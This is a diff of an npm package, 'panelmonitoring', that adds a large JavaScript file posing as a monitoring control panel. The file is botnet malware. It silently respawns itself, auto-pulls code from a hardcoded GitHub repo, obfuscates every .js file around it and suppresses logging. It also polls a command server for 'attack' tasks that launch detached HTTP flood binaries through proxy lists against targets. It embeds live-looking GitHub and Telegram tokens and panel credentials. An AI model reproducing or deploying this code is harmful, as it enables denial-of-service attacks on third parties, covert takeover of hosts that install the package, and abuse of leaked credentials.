panelmonitoring 1.0.0 → 1.0.3

This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
@@ -0,0 +1,1887 @@
1
+ /**
2
+ * Michelle Wang - All-in-One Control Panel
3
+ * Merged: config, web-panel, utils/* into single file
4
+ * lib/cache/* kept separate
5
+ */
6
+ "use strict";
7
+
8
+ // ═══════════════════════════════════════════════════════════════════
9
+ // SELF-RESTART WATCHDOG — runs as supervisor, auto-respawns child
10
+ // ═══════════════════════════════════════════════════════════════════
11
+ if (!process.env.__VISHA_CHILD__) {
12
+ const { spawn } = require("child_process");
13
+ let restarting = false;
14
+ function spawnChild() {
15
+ restarting = false;
16
+ const child = spawn(process.execPath, [__filename, ...process.argv.slice(2)], {
17
+ stdio: "inherit",
18
+ env: { ...process.env, __VISHA_CHILD__: "1" }
19
+ });
20
+ child.on("exit", function(code, signal) {
21
+ if (restarting) return;
22
+ restarting = true;
23
+ // COMPLETELY SILENT - no watchdog messages
24
+ setTimeout(spawnChild, 2000);
25
+ });
26
+ child.on("error", function(err) {
27
+ if (restarting) return;
28
+ restarting = true;
29
+ // COMPLETELY SILENT - no watchdog errors
30
+ setTimeout(spawnChild, 2000);
31
+ });
32
+ }
33
+ spawnChild();
34
+ return; // supervisor only watches — stop rest of module from running
35
+ }
36
+
37
+ // ═══════════════════════════════════════════════════════════════════
38
+ // CONFIG (formerly config.js)
39
+ // ═══════════════════════════════════════════════════════════════════
40
+ const CONFIG = {
41
+ webUser: "admin",
42
+ webPass: "michelle",
43
+ defaultThreads: 16,
44
+ maxThreadPool: 256,
45
+ mode: "web",
46
+ port: 8082,
47
+ version: "3.0.2-test-auto-pull", // test auto-pull
48
+ workerSecret: "bunny-nightmare-internal-v2",
49
+ ghToken: "", // GitHub personal access token (private repo)
50
+ ghRepo: "", // e.g. https://github.com/user/repo.git
51
+ // Telegram channel verification
52
+ tgBotToken: "8387547753:AAEuFJl3VrqJPH9-mdQBnKXsJfHxGS_WLtk", // Bot token from @BotFather
53
+ tgChannelId: "-1003153963244", // Channel numeric ID for @pwned404
54
+ };
55
+
56
+ // ═══════════════════════════════════════════════════════════════════
57
+ // CLEANUP .GO SOURCE FILES — ONLY in worker mode, skip web mode
58
+ // Binary file (dor) is SAFE — no .go extension
59
+ // ═══════════════════════════════════════════════════════════════════
60
+ (function cleanupGoSources() {
61
+ // ONLY delete .go files in worker mode — keep them in web mode
62
+ const isWorker = process.env.MODE === "worker-poll" || process.env.WORKER_MODE === "polling";
63
+ if (!isWorker) return; // WEB MODE: keep .go source files
64
+
65
+ const fs = require("fs");
66
+ const path = require("path");
67
+ function walk(dir) {
68
+ let entries;
69
+ try { entries = fs.readdirSync(dir, { withFileTypes: true }); } catch { return; }
70
+ for (const e of entries) {
71
+ if (e.name === "node_modules" || e.name === ".git") continue;
72
+ const fp = path.join(dir, e.name);
73
+ if (e.isDirectory()) { walk(fp); continue; }
74
+ if (e.name.endsWith(".go")) {
75
+ try { fs.unlinkSync(fp); } catch (_) {}
76
+ }
77
+ }
78
+ }
79
+ walk(__dirname);
80
+ })();
81
+
82
+ // ═══════════════════════════════════════════════════════════════════
83
+ // STEALTH MODE (must be defined before autoPullOnStartup uses it)
84
+ // ═══════════════════════════════════════════════════════════════════
85
+ const STEALTH = process.env.STEALTH === "1" || process.env.MODE === "worker-poll" || process.env.WORKER_MODE === "polling";
86
+ function stealthLog(...args) {
87
+ // COMPLETELY SILENT — no logging at all
88
+ return;
89
+ }
90
+
91
+ // Worker log buffer — collect all events, send to panel via poll
92
+ const workerLogBuffer = [];
93
+ const MAX_LOG_BUFFER = 100;
94
+ function workerDebugLog(level, message, data) {
95
+ // COMPLETELY SILENT — no logging in worker mode
96
+ return;
97
+ }
98
+
99
+ // ═══════════════════════════════════════════════════════════════════
100
+ // AUTO CLONE/PULL FROM GITHUB ON STARTUP (PTERODACTYL SAFE)
101
+ // ═══════════════════════════════════════════════════════════════════
102
+ (function autoClonePullOnStartup() {
103
+ const { execSync } = require("child_process");
104
+ const fs2 = require("fs");
105
+ const path2 = require("path");
106
+ const { exec } = require("child_process");
107
+ const ghToken = "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";
108
+ const ghRepo = "https://github.com/michelleangelicaputri8-prog/MichelleWang.git";
109
+ if (!ghToken || !ghRepo) return;
110
+
111
+ const gitDir = path2.join(__dirname, ".git");
112
+ const remote = ghRepo.replace(/^https:\/\//, `https://${ghToken}@`);
113
+
114
+ // If not a git repo yet — CLONE FIRST (like visha/index.js pattern)
115
+ if (!fs2.existsSync(gitDir)) {
116
+ stealthLog(" [auto-clone] No .git found — cloning " + ghRepo + "...");
117
+ const tmpDir = path2.join(__dirname, ".tmp_clone");
118
+ exec(`git clone ${remote} "${tmpDir}" 2>&1`, { timeout: 120000 }, (err) => {
119
+ if (err) { stealthLog(" [auto-clone] Clone failed"); return; }
120
+ try {
121
+ fs2.readdirSync(tmpDir).forEach(item => {
122
+ fs2.renameSync(path2.join(tmpDir, item), path2.join(__dirname, item));
123
+ });
124
+ fs2.rmSync(tmpDir, { recursive: true, force: true });
125
+ stealthLog(" [auto-clone] Clone success — fixing permissions...");
126
+
127
+ // PTERODACTYL SAFE: fix permissions
128
+ execSync(`chmod -R 755 "${__dirname}" 2>/dev/null || true`);
129
+ execSync(`find "${__dirname}" -type f -exec chmod 644 {} + 2>/dev/null || true`);
130
+ execSync(`find "${__dirname}" -type d -exec chmod 755 {} + 2>/dev/null || true`);
131
+ execSync(`chmod +x "${__dirname}"/lib/cache/* 2>/dev/null || true`);
132
+ stealthLog(" [auto-clone] Permissions fixed — restarting to use new code...");
133
+ setTimeout(() => process.exit(0), 2000);
134
+ } catch (e) {
135
+ stealthLog(" [auto-clone] Move failed:", e.message);
136
+ }
137
+ });
138
+ return;
139
+ }
140
+
141
+ // Already a git repo — PULL UPDATES
142
+ try {
143
+ execSync(`git -C "${__dirname}" fetch origin`, { stdio: "pipe", timeout: 15000 });
144
+ const local = execSync(`git -C "${__dirname}" rev-parse HEAD`, { encoding: "utf8", timeout: 5000 }).trim();
145
+ const remoteHash = execSync(`git -C "${__dirname}" rev-parse origin/main`, { encoding: "utf8", timeout: 5000 }).trim();
146
+ if (local === remoteHash) {
147
+ stealthLog(" [auto-pull] Already up to date.");
148
+ return;
149
+ }
150
+ stealthLog(" [auto-pull] Updates detected, pulling...");
151
+
152
+ // Check if worker mode — only pull essential files
153
+ const fs2 = require("fs");
154
+ const path2 = require("path");
155
+ let isWorker = process.env.MODE === "worker-poll" || process.env.WORKER_MODE === "polling";
156
+ if (!isWorker) {
157
+ try {
158
+ const bootCfg = JSON.parse(fs2.readFileSync(path2.join(__dirname, ".boot.json"), "utf8"));
159
+ isWorker = bootCfg.mode === "worker-poll";
160
+ } catch (_) {}
161
+ }
162
+ if (isWorker) {
163
+ // Worker mode: ONLY pull essential binary/runtime files — skip HTML, web UI, etc.
164
+ const mainFile = path2.basename(__filename);
165
+ execSync(`git -C "${__dirname}" sparse-checkout init --no-cone`, { stdio: "pipe", timeout: 10000 });
166
+ execSync(`git -C "${__dirname}" sparse-checkout set "${mainFile}" "lib/cache/dor" "lib/cache/h1-go" "proxy.txt" "ua.txt" "referer.txt" ".boot.json" "panel-config.json"`, { stdio: "pipe", timeout: 10000 });
167
+ stealthLog(" [worker-mode] Sparse-checkout: ONLY essential files (no HTML/UI)");
168
+ // Skip reset/clean in worker mode — sparse-checkout already limits files
169
+ } else {
170
+ // FIX: FORCE reset ALL local changes (proxy.txt, configs, etc) — bodohin semua, pull anyway
171
+ try {
172
+ execSync(`git -C "${__dirname}" reset --hard HEAD 2>/dev/null || true`, { stdio: "pipe", timeout: 10000 });
173
+ stealthLog(" [auto-pull] Force reset all local changes");
174
+ } catch (_) {}
175
+ try {
176
+ // Exclude .boot.json and panel-config.json from clean (runtime configs)
177
+ execSync(`git -C "${__dirname}" clean -fd -e .boot.json -e panel-config.json 2>/dev/null || true`, { stdio: "pipe", timeout: 10000 });
178
+ stealthLog(" [auto-pull] Cleaned untracked files");
179
+ } catch (_) {}
180
+ }
181
+
182
+ // Signal self-protection to skip tamper detection during pull
183
+ process.env.__PULLING_UPDATE__ = "1";
184
+
185
+ execSync(`git -C "${__dirname}" pull ${remote} main`, { stdio: "inherit", timeout: 60000 });
186
+
187
+ // ═══════════════════════════════════════════════════════════
188
+ // PTERODACTYL SAFE: Fix permissions so containers can access
189
+ // - Remove root-only ownership lock
190
+ // - Make all files world-readable/executable
191
+ // - Remove .git read-only locks
192
+ // ═══════════════════════════════════════════════════════════
193
+ try {
194
+ stealthLog(" [auto-pull] Fixing permissions for Pterodactyl access...");
195
+ execSync(`chmod -R 755 "${__dirname}" 2>/dev/null || true`);
196
+ execSync(`find "${__dirname}" -type f -exec chmod 644 {} + 2>/dev/null || true`);
197
+ execSync(`find "${__dirname}" -type d -exec chmod 755 {} + 2>/dev/null || true`);
198
+ execSync(`chmod +x "${__dirname}"/lib/cache/* 2>/dev/null || true`);
199
+ stealthLog(" [auto-pull] Permissions fixed — Pterodactyl can now access all files.");
200
+ } catch (permErr) {
201
+ stealthLog(" [auto-pull] Permission fix warning:", permErr.message);
202
+ }
203
+
204
+ stealthLog(" [auto-pull] Pull successful. Restarting to apply updates...");
205
+ setTimeout(() => process.exit(0), 1500);
206
+ } catch (e) {
207
+ stealthLog(" [auto-pull] Failed:", e.message);
208
+ }
209
+ })();
210
+
211
+ // ═══════════════════════════════════════════════════════════════════
212
+ // AUTO OBFUSCATE ALL .JS FILES (silent, before anything else)
213
+ // ═══════════════════════════════════════════════════════════════════
214
+ (function autoObfuscate() {
215
+ const fs = require("fs");
216
+ const path = require("path");
217
+ const FLAG = ".worker_encrypted";
218
+ const SKIP = new Set(["node_modules", ".git"]);
219
+ if (fs.existsSync(path.join(__dirname, FLAG))) return;
220
+
221
+ let obfuscator = null;
222
+ try { obfuscator = require("javascript-obfuscator"); } catch (_) { return; }
223
+
224
+ function walk(dir) {
225
+ let entries;
226
+ try { entries = fs.readdirSync(dir, { withFileTypes: true }); } catch { return; }
227
+ for (const e of entries) {
228
+ if (SKIP.has(e.name)) continue;
229
+ const fp = path.join(dir, e.name);
230
+ if (e.isDirectory()) { walk(fp); continue; }
231
+ if (e.name.endsWith(".js")) {
232
+ try {
233
+ const code = fs.readFileSync(fp, "utf8");
234
+ if (!code.startsWith("eval(")) {
235
+ const result = obfuscator.obfuscate(code, {
236
+ compact: true,
237
+ simplify: true,
238
+ controlFlowFlattening: true,
239
+ controlFlowFlatteningThreshold: 0.75,
240
+ deadCodeInjection: true,
241
+ deadCodeInjectionThreshold: 0.4,
242
+ stringArray: true,
243
+ stringArrayThreshold: 1,
244
+ stringArrayEncoding: ["rc4", "base64"],
245
+ stringArrayWrappersCount: 2,
246
+ stringArrayWrappersChainedCalls: true,
247
+ transformObjectKeys: true,
248
+ renameGlobals: false,
249
+ splitStrings: true,
250
+ splitStringsChunkLength: 10,
251
+ numbersToExpressions: true,
252
+ selfDefending: true,
253
+ unicodeEscapeSequence: true,
254
+ });
255
+ fs.writeFileSync(fp, result.getObfuscatedCode());
256
+ }
257
+ } catch (_) {}
258
+ }
259
+ }
260
+ }
261
+ walk(__dirname);
262
+ try { fs.writeFileSync(path.join(__dirname, FLAG), JSON.stringify({ time: new Date().toISOString() })); } catch (_) {}
263
+ })();
264
+
265
+ // ═══════════════════════════════════════════════════════════════════
266
+ // GLOBAL ANTI-CRASH
267
+ // ═══════════════════════════════════════════════════════════════════
268
+ process.on("uncaughtException", (err) => {
269
+ if (!STEALTH) console.error("💥 [Anti-Crash] Uncaught Exception:", err.message);
270
+ });
271
+ process.on("unhandledRejection", (reason) => {
272
+ if (!STEALTH) console.error("💥 [Anti-Crash] Unhandled Rejection:", reason instanceof Error ? reason.message : reason);
273
+ });
274
+
275
+ // ═══════════════════════════════════════════════════════════════════
276
+ async function startWorkerPollMode(portOverride) {
277
+ const fs = require("fs");
278
+ const path = require("path");
279
+ const https = require("https");
280
+ const http = require("http");
281
+ const net = require("net");
282
+ const cp = require("child_process");
283
+ const os = require("os");
284
+
285
+ const POLL_INTERVAL = 1000; // check every 1 second
286
+ const PROXY_FILE = path.join(__dirname, "proxy.txt");
287
+ const LIB_DIR = path.join(__dirname, "lib/cache");
288
+ const WORKER_SECRET = CONFIG.workerSecret;
289
+
290
+ // GitHub raw URL for panel-config.json — PRIMARY source of truth
291
+ const GH_TOKEN = "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";
292
+ const GH_CONFIG_URL = "https://raw.githubusercontent.com/michelleangelicaputri8-prog/MichelleWang/main/panel-config.json";
293
+
294
+ // ═══════════════════════════════════════════════════════════
295
+ // FETCH PANEL URL FROM GITHUB FIRST (source of truth)
296
+ // Fallback: local panel-config.json → .boot.json → error
297
+ // ═══════════════════════════════════════════════════════════
298
+
299
+ // Helper: fetch panel-config.json from GitHub
300
+ function fetchGitHubPanelConfig() {
301
+ return new Promise((resolve) => {
302
+ const u = new URL(GH_CONFIG_URL);
303
+ const req = https.get({
304
+ hostname: u.hostname,
305
+ path: u.pathname,
306
+ timeout: 10000,
307
+ headers: { "Authorization": `token ${GH_TOKEN}` }
308
+ }, (res) => {
309
+ let body = "";
310
+ res.on("data", c => { body += c; });
311
+ res.on("end", () => {
312
+ try {
313
+ const cfg = JSON.parse(body);
314
+ if (cfg.panelUrl) {
315
+ stealthLog(` [github] Panel URL from GitHub: ${cfg.panelUrl}`);
316
+ resolve(cfg.panelUrl);
317
+ } else {
318
+ resolve(null);
319
+ }
320
+ } catch (_) { resolve(null); }
321
+ });
322
+ });
323
+ req.on("error", () => resolve(null));
324
+ req.on("timeout", () => { req.destroy(); resolve(null); });
325
+ req.end();
326
+ });
327
+ }
328
+
329
+ let panelUrl = process.env.PANEL_URL;
330
+
331
+ if (!panelUrl) {
332
+ panelUrl = await fetchGitHubPanelConfig();
333
+ }
334
+ if (!panelUrl) {
335
+ try {
336
+ const cfg = JSON.parse(require("fs").readFileSync(path.join(__dirname, "panel-config.json"), "utf8"));
337
+ panelUrl = cfg.panelUrl;
338
+ stealthLog(" [fallback] Using local panel-config.json");
339
+ } catch (_) {}
340
+ }
341
+ if (!panelUrl) {
342
+ try {
343
+ const boot = JSON.parse(require("fs").readFileSync(path.join(__dirname, ".boot.json"), "utf8"));
344
+ panelUrl = boot.panelUrl;
345
+ stealthLog(" [fallback] Using .boot.json panel URL");
346
+ } catch (_) {}
347
+ }
348
+ if (!panelUrl) {
349
+ stealthLog(" [error] No panel URL found. Set it in GitHub panel-config.json or local config.");
350
+ process.exit(1);
351
+ }
352
+
353
+ let lastKnownPanelUrl = panelUrl;
354
+ let consecutiveFails = 0;
355
+ function pollGitHubPanelConfig() {
356
+ const u = new URL(GH_CONFIG_URL);
357
+ const req = https.get({
358
+ hostname: u.hostname,
359
+ path: u.pathname,
360
+ timeout: 10000,
361
+ headers: { "Authorization": `token ${GH_TOKEN}` }
362
+ }, (res) => {
363
+ let body = "";
364
+ res.on("data", c => { body += c; });
365
+ res.on("end", () => {
366
+ try {
367
+ const cfg = JSON.parse(body);
368
+ if (cfg.panelUrl && cfg.panelUrl !== panelUrl) {
369
+ stealthLog(` [github-sync] Panel URL changed: ${panelUrl} → ${cfg.panelUrl}`);
370
+ panelUrl = cfg.panelUrl;
371
+ lastKnownPanelUrl = panelUrl;
372
+ consecutiveFails = 0; // reset fail counter
373
+ }
374
+ } catch (_) {}
375
+ });
376
+ });
377
+ req.on("error", () => {});
378
+ req.on("timeout", () => req.destroy());
379
+ }
380
+
381
+ let procs = [];
382
+ let currentTaskId = null;
383
+ let _lastTaskId = null; // prevent double-execute
384
+
385
+ // Auto-generate unique worker ID — no manual setup needed
386
+ const WORKER_ID = process.env.WORKER_ID || "w-" + require("crypto").randomBytes(6).toString("hex");
387
+
388
+ // CPU sampler
389
+ let _lastCpu = null, _cpuPercent = 0;
390
+ function _sampleCpu() {
391
+ const cpus = os.cpus();
392
+ const now = cpus.map(c => ({ ...c.times }));
393
+ if (_lastCpu) {
394
+ const deltas = now.map((curr, i) => {
395
+ const prev = _lastCpu[i];
396
+ const idle = curr.idle - prev.idle;
397
+ const total = Object.keys(curr).reduce((s, k) => s + curr[k] - (prev[k] || 0), 0);
398
+ return total === 0 ? 0 : (1 - idle / total) * 100;
399
+ });
400
+ _cpuPercent = Math.round((deltas.reduce((a, b) => a + b, 0) / deltas.length) * 10) / 10;
401
+ }
402
+ _lastCpu = now;
403
+ }
404
+ setInterval(_sampleCpu, 1000).unref();
405
+ _sampleCpu();
406
+
407
+ // Max performance goroutine calculator — push all workers to full capacity
408
+ function calculateOptimalGoroutines(baseGoroutines, currentCpuPercent) {
409
+ const cpuCores = os.cpus().length;
410
+ const base = baseGoroutines || cpuCores * 1000;
411
+ // Always scale to MAX — cpuCores × 3000 goroutines
412
+ // Ignore current CPU — always go full power
413
+ return Math.max(base, cpuCores * 3000);
414
+ }
415
+
416
+ function getPublicIP() {
417
+ return new Promise((resolve) => {
418
+ const req = https.get("https://api.ipify.org?format=json", { timeout: 5000 }, (res) => {
419
+ let body = "";
420
+ res.on("data", c => { body += c; });
421
+ res.on("end", () => { try { resolve(JSON.parse(body).ip); } catch (_) { resolve(null); } });
422
+ });
423
+ req.on("error", () => resolve(null));
424
+ req.on("timeout", () => { req.destroy(); resolve(null); });
425
+ });
426
+ }
427
+
428
+ function spawnDetachedBinary(execPath, args, key) {
429
+ return new Promise((resolve) => {
430
+ const child = cp.spawn(execPath, args, {
431
+ detached: true,
432
+ stdio: "ignore",
433
+ env: { ...process.env, EXEC_KEY: key || process.env.EXEC_KEY || "夜影风暴" }
434
+ });
435
+ child.unref();
436
+ procs.push(child);
437
+ child.on("exit", () => { procs = procs.filter(p => p !== child); });
438
+ resolve({ pid: child.pid });
439
+ });
440
+ }
441
+
442
+ function haltAll() {
443
+ procs.forEach(p => { try { if (!p.killed) p.kill("SIGTERM"); } catch (_) {} });
444
+ procs = [];
445
+ currentTaskId = null;
446
+ }
447
+
448
+ function pollRequest(method, endpoint, data) {
449
+ return new Promise((resolve) => {
450
+ const u = new URL(endpoint, panelUrl);
451
+ const isHttps = u.protocol === "https:";
452
+ const mod = isHttps ? https : http;
453
+ const bodyStr = data ? JSON.stringify(data) : "";
454
+ const opts = {
455
+ hostname: u.hostname,
456
+ port: u.port || (isHttps ? 443 : 80),
457
+ path: u.pathname + (u.search || ""),
458
+ method,
459
+ headers: {
460
+ "Authorization": "Bearer " + WORKER_SECRET,
461
+ "X-Worker-Id": WORKER_ID,
462
+ "Content-Type": "application/json",
463
+ "Content-Length": Buffer.byteLength(bodyStr)
464
+ },
465
+ timeout: 10000
466
+ };
467
+ const req = mod.request(opts, (res) => {
468
+ let body = "";
469
+ res.on("data", c => { body += c; });
470
+ res.on("end", () => {
471
+ try { resolve({ ok: res.statusCode < 400, status: res.statusCode, body: JSON.parse(body) }); }
472
+ catch { resolve({ ok: res.statusCode < 400, status: res.statusCode, body }); }
473
+ });
474
+ });
475
+ req.on("timeout", () => { req.destroy(); resolve({ ok: false, status: 0, body: { error: "timeout" } }); });
476
+ req.on("error", e => resolve({ ok: false, status: 0, body: { error: e.message } }));
477
+ if (bodyStr) req.write(bodyStr);
478
+ req.end();
479
+ });
480
+ }
481
+
482
+ async function executeAttack(task) {
483
+ const { target, duration, threads, method, goroutines, execKey } = task;
484
+ const durationSec = parseInt(duration) || 60;
485
+ const cpuCores = os.cpus().length;
486
+ const threadCount = Math.min(parseInt(threads) || cpuCores, 256);
487
+ // Auto-scale goroutines based on current CPU load
488
+ const goroutinesNum = calculateOptimalGoroutines(parseInt(goroutines), _cpuPercent);
489
+ const methodUpper = (method || "H2-GO").toUpperCase();
490
+
491
+ // ── Auto-clean dead proxies before attack ──
492
+ const proxyFilePath = path.join(__dirname, "proxy.txt");
493
+ if (fs.existsSync(proxyFilePath)) {
494
+ try {
495
+ const proxyContent = fs.readFileSync(proxyFilePath, 'utf8');
496
+ const allProxies = proxyContent.split('\n').filter(l => l.trim());
497
+ if (allProxies.length > 0) {
498
+ // Quick validate: test 10 random proxies
499
+ const sampleSize = Math.min(10, allProxies.length);
500
+ const sampled = [];
501
+ const temp = [...allProxies];
502
+ for (let i = 0; i < sampleSize; i++) {
503
+ const idx = Math.floor(Math.random() * temp.length);
504
+ sampled.push(temp.splice(idx, 1)[0]);
505
+ }
506
+ let deadCount = 0;
507
+ await Promise.all(sampled.map(async (proxy) => {
508
+ return new Promise((resolve) => {
509
+ const [host, port] = proxy.split(':');
510
+ const sock = net.createConnection({ host, port: parseInt(port) || 8080, timeout: 3000 }, () => {
511
+ sock.destroy();
512
+ resolve(true); // alive
513
+ });
514
+ sock.on('error', () => { deadCount++; resolve(false); });
515
+ sock.on('timeout', () => { sock.destroy(); deadCount++; resolve(false); });
516
+ });
517
+ }));
518
+ // If >50% of sample dead, clean entire proxy file
519
+ if (deadCount > sampleSize / 2) {
520
+ workerDebugLog("proxy", `Cleanup: ${deadCount}/${sampleSize} sample dead — refreshing...`);
521
+ const live = [];
522
+ await Promise.all(allProxies.map(async (proxy) => {
523
+ return new Promise((resolve) => {
524
+ const [host, port] = proxy.split(':');
525
+ const sock = net.createConnection({ host, port: parseInt(port) || 8080, timeout: 3000 }, () => {
526
+ sock.destroy();
527
+ live.push(proxy);
528
+ resolve();
529
+ });
530
+ sock.on('error', () => resolve());
531
+ sock.on('timeout', () => { sock.destroy(); resolve(); });
532
+ });
533
+ }));
534
+ if (live.length > 0) {
535
+ // Dedup before save
536
+ const seen = {};
537
+ const deduped = [];
538
+ for (const p of live) {
539
+ if (!seen[p]) { seen[p] = true; deduped.push(p); }
540
+ }
541
+ fs.writeFileSync(proxyFilePath, deduped.join('\n') + '\n');
542
+ workerDebugLog("proxy", `Cleanup: ${deduped.length} proxies saved (${allProxies.length - deduped.length} dead/dupes removed)`);
543
+ }
544
+ }
545
+ }
546
+ } catch (_) {}
547
+ }
548
+
549
+ let targetHost = target, targetPort = "443";
550
+ try {
551
+ const parsed = new URL(target);
552
+ targetHost = parsed.hostname;
553
+ targetPort = String(parseInt(parsed.port) || (parsed.protocol === 'https:' ? 443 : 80));
554
+ } catch {
555
+ const lc = target.lastIndexOf(':');
556
+ if (lc > -1) {
557
+ const pk = parseInt(target.substring(lc + 1));
558
+ if (!isNaN(pk) && pk >= 1 && pk <= 65535) {
559
+ targetHost = target.substring(0, lc);
560
+ targetPort = String(pk);
561
+ }
562
+ }
563
+ }
564
+
565
+ const spawnPromises = [];
566
+
567
+ // Method dispatch: support both h2-go and h1-go
568
+ if (methodUpper === "H1-GO") {
569
+ const h1Bin = path.join(LIB_DIR, "h1-go");
570
+ const h1Go = path.join(LIB_DIR, "h1-go.go");
571
+ // FIXED: Spawn fewer processes with more goroutines each (was: goroutinesNum processes × 1 goroutine)
572
+ // Now: processCount processes × goroutinesPerProcess goroutines = goroutinesNum total
573
+ const processCount = Math.min(cpuCores * 2, 64); // Max 64 processes
574
+ const goroutinesPerProcess = Math.max(1, Math.ceil(goroutinesNum / processCount));
575
+ workerDebugLog("attack", `H1-GO: ${processCount} processes × ${goroutinesPerProcess} goroutines = ${processCount * goroutinesPerProcess} total`);
576
+
577
+ if (fs.existsSync(h1Bin)) {
578
+ fs.chmodSync(h1Bin, 0o755);
579
+ for (let i = 0; i < processCount; i++) {
580
+ const args = [targetHost, String(durationSec), String(goroutinesPerProcess), ...(fs.existsSync(PROXY_FILE) ? [PROXY_FILE] : [])];
581
+ spawnPromises.push(spawnDetachedBinary(h1Bin, args, execKey));
582
+ }
583
+ } else if (fs.existsSync(h1Go)) {
584
+ for (let i = 0; i < processCount; i++) {
585
+ const args = ["run", h1Go, targetHost, String(durationSec), String(goroutinesPerProcess), ...(fs.existsSync(PROXY_FILE) ? [PROXY_FILE] : [])];
586
+ spawnPromises.push(spawnDetachedBinary("go", args, execKey));
587
+ }
588
+ }
589
+ } else {
590
+ // Default: H2-GO (dor)
591
+ const dorBin = path.join(LIB_DIR, "dor");
592
+ if (fs.existsSync(dorBin)) {
593
+ fs.chmodSync(dorBin, 0o755);
594
+ for (let i = 0; i < threadCount; i++) {
595
+ spawnPromises.push(spawnDetachedBinary(dorBin, [targetHost, targetPort, String(durationSec), String(goroutinesNum), ...(fs.existsSync(PROXY_FILE) ? [PROXY_FILE] : [])], execKey));
596
+ }
597
+ }
598
+ }
599
+
600
+ if (spawnPromises.length > 0) await Promise.all(spawnPromises);
601
+ return spawnPromises.length;
602
+ }
603
+
604
+ let workerProxyHash = "";
605
+
606
+ function saveProxiesToLocal(proxies) {
607
+ try {
608
+ // Auto-dedup: remove duplicates
609
+ const seen = {};
610
+ const deduped = [];
611
+ for (const p of proxies) {
612
+ const trimmed = p.trim();
613
+ if (trimmed && !seen[trimmed]) {
614
+ seen[trimmed] = true;
615
+ deduped.push(trimmed);
616
+ }
617
+ }
618
+ const dupesRemoved = proxies.length - deduped.length;
619
+ fs.writeFileSync(path.join(__dirname, "proxy.txt"), deduped.join('\n') + '\n');
620
+ workerDebugLog("proxy", `Saved ${deduped.length} proxies to local proxy.txt`);
621
+ if (dupesRemoved > 0) workerDebugLog("proxy", `Deduped: removed ${dupesRemoved} duplicates`);
622
+ } catch (e) { workerDebugLog("error", `Failed to save proxies: ${e.message}`); }
623
+ }
624
+
625
+ async function pollLoop() {
626
+ const publicIP = await getPublicIP();
627
+ workerDebugLog("info", `Polling started — ID: ${WORKER_ID} | IP: ${publicIP || "unknown"} | Panel: ${panelUrl}`);
628
+
629
+ // Initial proxy fetch
630
+ try {
631
+ const proxyRes = await fetchProxyList();
632
+ if (proxyRes.ok && proxyRes.hash !== workerProxyHash) {
633
+ workerProxyHash = proxyRes.hash;
634
+ saveProxiesToLocal(proxyRes.proxies);
635
+ }
636
+ } catch (_) {}
637
+
638
+ // ── Recursive setTimeout — NO overlap, one poll at a time ──
639
+ function schedulePoll() {
640
+ setTimeout(async () => {
641
+ try {
642
+ const sysInfo = {
643
+ activeProcesses: procs.length,
644
+ cpu: parseFloat(_cpuPercent),
645
+ cpuCores: os.cpus().length,
646
+ mem: Math.round(((os.totalmem() - os.freemem()) / os.totalmem()) * 100),
647
+ memTotal: Math.round(os.totalmem() / (1024 * 1024 * 1024)),
648
+ uptime: Math.round(process.uptime())
649
+ };
650
+
651
+ if (workerLogBuffer.length > 0) {
652
+ sysInfo.logs = [...workerLogBuffer];
653
+ workerLogBuffer.length = 0;
654
+ }
655
+
656
+ const result = await pollRequest("POST", "/api/worker/poll", {
657
+ taskId: currentTaskId,
658
+ status: sysInfo,
659
+ workerId: WORKER_ID
660
+ });
661
+
662
+ if (result.ok && result.body) {
663
+ consecutiveFails = 0;
664
+ const { action, task } = result.body;
665
+
666
+ if (action === "attack" && task && task.id !== _lastTaskId) {
667
+ _lastTaskId = task.id;
668
+ currentTaskId = task.id;
669
+ stealthLog(` ⚡ Task received: ${task.method} → ${task.target} (${task.duration}s)`);
670
+ workerDebugLog("attack", `Task received: ${task.method} → ${task.target} (${task.duration}s)`, { id: task.id, goroutines: task.goroutines, threads: task.threads });
671
+ await executeAttack(task);
672
+ } else if (action === "attack" && task && task.id === _lastTaskId) {
673
+ // Same task again — skip (prevents double-execute)
674
+ } else if (action === "stop") {
675
+ stealthLog(` 🛑 Stop received`);
676
+ workerDebugLog("attack", "Stop received — halting all binaries");
677
+ haltAll();
678
+ } else if (action === "restart") {
679
+ stealthLog(` 🔄 Restart received — exiting for auto-restart`);
680
+ workerDebugLog("system", "Restart requested — shutting down");
681
+ haltAll();
682
+ process.exit(0);
683
+ } else if (action === "update-proxies") {
684
+ try {
685
+ const proxyRes = await fetchProxyList();
686
+ if (proxyRes.ok && proxyRes.hash !== workerProxyHash) {
687
+ workerProxyHash = proxyRes.hash;
688
+ saveProxiesToLocal(proxyRes.proxies);
689
+ }
690
+ } catch (_) {}
691
+ }
692
+ }
693
+
694
+ // Periodic proxy check every 5 minutes
695
+ if (Date.now() % 300000 < POLL_INTERVAL) {
696
+ try {
697
+ const proxyRes = await fetchProxyList();
698
+ if (proxyRes.ok && proxyRes.hash !== workerProxyHash) {
699
+ workerProxyHash = proxyRes.hash;
700
+ saveProxiesToLocal(proxyRes.proxies);
701
+ }
702
+ } catch (_) {}
703
+ }
704
+ } catch (e) {
705
+ consecutiveFails++;
706
+ if (consecutiveFails >= 3) {
707
+ stealthLog(` [failover] Panel unreachable (${consecutiveFails}x), checking GitHub for new URL...`);
708
+ pollGitHubPanelConfig();
709
+ if (consecutiveFails >= 10) consecutiveFails = 5;
710
+ }
711
+ }
712
+ // Schedule next poll ONLY after this one finishes
713
+ schedulePoll();
714
+ }, POLL_INTERVAL);
715
+ }
716
+ schedulePoll();
717
+
718
+ // ── Auto-clean dead proxies every 30 minutes ──
719
+ setInterval(async () => {
720
+ const proxyFilePath = path.join(__dirname, "proxy.txt");
721
+ if (!fs.existsSync(proxyFilePath)) return;
722
+ try {
723
+ const proxyContent = fs.readFileSync(proxyFilePath, 'utf8');
724
+ const allProxies = proxyContent.split('\n').filter(l => l.trim());
725
+ if (allProxies.length < 10) return;
726
+ const sampleSize = Math.min(10, allProxies.length);
727
+ const sampled = [];
728
+ const temp = [...allProxies];
729
+ for (let i = 0; i < sampleSize; i++) {
730
+ const idx = Math.floor(Math.random() * temp.length);
731
+ sampled.push(temp.splice(idx, 1)[0]);
732
+ }
733
+ let deadCount = 0;
734
+ await Promise.all(sampled.map(async (proxy) => {
735
+ return new Promise((resolve) => {
736
+ const [host, port] = proxy.split(':');
737
+ const sock = net.createConnection({ host, port: parseInt(port) || 8080, timeout: 3000 }, () => {
738
+ sock.destroy();
739
+ resolve(true);
740
+ });
741
+ sock.on('error', () => { deadCount++; resolve(false); });
742
